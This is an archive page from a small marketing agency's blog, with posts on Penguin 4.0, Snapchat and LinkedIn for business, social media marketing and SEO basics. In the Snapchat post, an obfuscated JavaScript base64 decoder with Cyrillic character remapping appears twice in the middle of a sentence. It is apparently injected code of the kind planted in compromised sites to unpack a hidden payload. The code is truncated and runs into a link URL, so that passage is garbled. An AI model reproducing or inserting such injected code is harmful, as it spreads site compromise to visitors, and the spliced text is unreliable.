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SEO

Penguin 4.0 update – explained

What is Penguin?

Google’s search engine algorithm aims to return the most useful and most relevant results to meet a searcher's needs. Search engines catalysed the Digital Marketing industry when businesses realised they can reverse engineer the algorithm to rank their website higher than their competitions in search results, this spawned the term - Search Engine Optimisation (SEO). SEO is an umbrella term for all methods that enhance online visibility in search engines with an aim to drive organic traffic. › Continue reading

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Wednesday, November 2nd, 2016 by admin SEO No Comments

 

Snapchat for Business

Snapchat Logo

What is Snapchat?

Snapchat is a social networking mobile App that enables users to send edited images and short videos to each other- which are automatically deleted after a period of time.

As of May 2015, there were 2 billion photos and videos being sent per day, and Snapchat Stories (another content recording format within the app) was being viewed 500 million times per day. By 2016, there are 7 billion daily video views.

Vintage Man takes selfie with smartphone camera

Who uses it?

86% of Snapchat’s users are aged 13 – 37. This means if a company wants to use Snapchat, we recommend it be to target the younger audience.

More and more brands are using Snapchat to talk to their audience and function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeconvert.com/social-media-case-studies/5-creative-ways-brands-are-using-snapchat/" target="_blank">there are numerous examples of creative ways Snapchat has been used for campaigns.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeconvert.com/social-media-case-studies/5-creative-ways-brands-are-using-snapchat/" target="_blank">Audi snapchat

Why should you use Snapchat?

It’s a perfect platform if you have a lot of visual content to share with a primarily younger audience. Before uploading content to Snapchat, be aware that videos need to be short, and images have a shelf-life.

There are plenty of tutorials that guide you through setting up a Snapchat account.

 

What should you post?

When using Snapchat for Business, the objective should be interesting content, not advertising on Snapchat (unless you have a $100,000 budget).

Content ideas:

  • Behind the scenes
  • Event coverage
  • News and exclusive offers

Snapchat is not an overt selling tool. This is a fun and engaging social platform. Therefore you should post content with that in mind.

Any campaign promotion should have that in mind when posting to Snapchat. The app has lots of fun add-on things like Face Swap, filters and faces. Why not face swap your CEO with a celebrity? Or send some nice animations?

Got your back snap

 

Snaps vs Stories

When you open your Snapchat app, you can either swipe right to get to direct snaps to friends; swipe left and you get to stories – this is where advertisers stories are, but also where your friends stories are.

Snaps give your followers notifications, stories are a series of photos or videos that hang around for 24 hours.

snaps

As a marketer, you’d want to be popping up on your customers phone, so you should send them all snaps right? Wrong. We never want to be harassing our customers. If they are active on Snapchat, and they have actively followed you, then they will check your stories.

Stories will also allow you to develop a more in-depth message over a series of snaps, rather than one off snaps that are gone in a few seconds.

stories

 

How to get followers on Snapchat

First of all, make everyone aware that you’re on Snapchat by posting on your other social platforms your username.

Then you need to give them an incentive to follow you on Snapchat.

Snapchat is still a fairly new concept, but also has a lot of potential for exciting content so the right audience will probably be curious about what you have to say on there. Therefore make it known you are on Snapchat!

snapchat icon

Post a picture of your ghost icon on other social media platforms. Ask customers if they are on Snapchat, and add the icon to your website and email newsletters.

More importantly, follow customers back.

 

Tracking results on Snapchat

There is no point in Snapping and Face Swapping if it’s not getting you the results. As more social apps are used more and more, so our time gets stretched across the main platforms. Therefore we recommend looking at your results after a couple of months and measure the engagement after that.

Things to look at:

  • What content works better than others?
  • What times are the most engaging?
  • How many snaps in a story work?

Once you’ve looked at how your snaps are performing, look at tweaking your posting and time spent on the platform accordingly.

There are analytical tools emerging for Snapchat, like http://snaplytics.io/ but these aren’t cheap, so think about these when you’re ready to invest the money in a full Snapchat strategy.

Snaplytics

 

 

 

 

 

Friday, May 13th, 2016 by Jade Lambourne Social Media No Comments

 

Making LinkedIn Work

 

Some perspective

One thing to remember about LinkedIn is that the average amount of time spent on LinkedIn in a month is 20 minutes; to put that into perspective, 20 minutes is the average amount of time spent on Facebook in a DAY.

In 2014, LinkedIn accounted for 2% of Europe’s social sharing. It’s not usually the highest on our priority list when it comes to B2C brands BUT a specific B2B strategy can be very valuable on LinkedIn.

LinkedIn is a vital cog in the social media machine when it comes to target a specific audience.

LinkedIn works best for businesses that have a number of very specific job titles in mind, when they think of their target audience.

fotolia_101818967

 

Page vs Profile

One of the key questions asked is where to market a business from. LinkedIn, like Facebook have company pages, where you can post updates and links about the business, and get followers and interactions. Your own personal profile doesn’t get integrated into this page unless you state you work there, or you share the post to your own personal feed.

The issue with a LinkedIn page, however, is the limitations you have with it. The pages aren’t really a tool to talk to people directly, they’re more a base to describe the nature of the business.

Personal profiles give you a lot more flexibility in marketing techniques on LinkedIn. You can connect directly with people, interact on a personal level, and publish posts on the LinkedIn feed.

However, because it is a personal profile, reputation and time are the greatest concerns. This isn’t like Facebook or Twitter where you can reach thousands with £10 and a decent hashtag. You need to be very careful not to spam your connections, nor do you want to be lost in the noise of recruiters.

Advice: Use your personal profile, but very carefully

Groups

Joining industry relevant groups is a great way to get a message out there – for example, if you publish a post or an update about marketing within the group – members of that group get notified. It’s a fantastic way of meeting new people and raising your authority in your industry.

There are thousands of different groups on LinkedIn so the key thing is to be careful about which ones you join. The larger groups are usually controlled by moderators so users can’t spam them with marketing posts. BUT they are a great source of information for other social platforms AND sharing blog posts about a generic subject will help with your own reach and awareness.

Advanced Search

The LinkedIn advanced search is invaluable when wanting to target specific job titles and industries. You can search your own contacts and tag them into their own list (HR Managers, for example); or you can search for people in a certain region that you aren’t connected to (HR Managers in London) which helps to identify potential connections and clients.

LinkedIn enables you to segment these connections through ‘tagging’ which means you can categorise them based on a certain element.

fotolia_108076243

 

Looking at profiles

This may sound crazy, but just LOOKING at a profile raises awareness. We’ve all seen those notifications saying ‘Joe Bloggs has viewed your profile’, when it’s a stranger, aren’t you the least bit curious about who and why they’re looking? As soon as you look at a profile, you have reached that person – then you’ll know if they’re curious if they look back!

It’s like high school politics, but it works. It creates a connection before you’re even connected and makes it easier to message and talk to them once you are connected.

Sending messages

Once you’ve sourced your connections, now is the time to send a BRIEF message asking if they’d be happy to talk to you about X or Y or Z. Even better is to ask them about themselves, their business; the nature of their company. Share content that may be of interest to them (something you found in your groups perhaps!).

It isn’t hard to change a generic message template into a personalised one, so keep it short (150 -200 words) and make sure you talk about them personally at some point.

Asking them for feedback on something (like a blog article or product) is a nice introduction to the relationship.

 

 

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Tuesday, May 3rd, 2016 by Jade Lambourne SEO, Social Media, Uncategorized No Comments

 

The Importance of Social Media Marketing

This blog will explore why companies, large and small need to think about social media in their marketing strategies

Why Social Media Marketing?

Social Media currently fuels a LOT of marketing content and strategy (in 2016). Since 1991, when the World Wide Web was developed, communities of people sharing a common interest have gathered from the corners of the world and talked and shared content through the internet.

It was the latter part of the 2000s when brands started using social media as a marketing tool. As of 2015, 22% of the world’s population is active on social media, that’s 1.4 billion people. From a marketer’s perspective, that’s 1.4 billion potential customers.

Google now recognizes social media accounts as an important part in validating a brand’s popularity, and its algorithm looks at fan numbers, brand content and clicks to websites from social media sites when indexing sites. From an SEO perspective, a strong social media presence is incredibly valuable for a brand.

Because of its popularity with many audiences, social is a valuable platform for brands to talk directly with their customers, in particular customer service and updates that are time sensitive. The immediacy of social means a message can reach thousands within seconds.

Social Media Marketing Board

Is it for everyone?

Whether you run a multi-billion pound corporation or a small local business, social media marketing will always add value to your business.

Whilst we know that social won’t guarantee 1.4 billion new customers, we can be sure that your customers, whether they are B2B (business-to-business) or B2C (business-to-consumer) will be active on social media in some form or another.

If you’re a small local business, customer reviews on Facebook and Google+ help you in search rankings, as well as getting public recognition for your service.

For other B2B companies, just as you may invest your time and money into networking events to socialize and meet with fellow business people and future customers, networks like LinkedIn offer the same service on a larger scale. You can contact any professional on a personal level and get to know them. Interacting with their interests on Twitter may just set you above your competitors.

fotolia_106609089

Why hire a professional?

With great numbers, comes great responsibility. When Facebook is managing 30 million small business pages and 1.2 billion active users; when Google is managing 2 billion YouTube views; when Instagram is managing 40 billion photo uploads, they need to ensure that users are getting the best experience they can have on their sites. This means that marketers should play ball with the social networks. We also need to make sure we don’t irritate our audience through over-marketing.

Even for the most organised person, this is a lot to handle – social media marketing professionals understand the social media audience, and have the creative mind to generate interesting, relevant content for a brand. It is up to us to generate those likes, clicks and shares that lead to a great brand reputation and return-on-investment.

 

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Thursday, April 28th, 2016 by Jade Lambourne SEO, Social Media No Comments

 

Where am I? SEO

Search Engine Optimisation (SEO)

Where am I?

The first thing most people do when they launch a new website is fire up Google, enter a relevant search term and ...... discover they are not on the first page, or the second, or the third.

Those with a lot of patience will keep trawling through the results to discover that their site is wallowing somewhere down in the 1000’s.

Why is this? I sell family cars, my website is about family cars and I entered ‘family cars’ into Google – I should be at the top of the list!

To explain this let’s travel back a few years (before the internet) and think about someone buying a family car for the first time.

› Continue reading

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Monday, November 15th, 2010 by admin SEO No Comments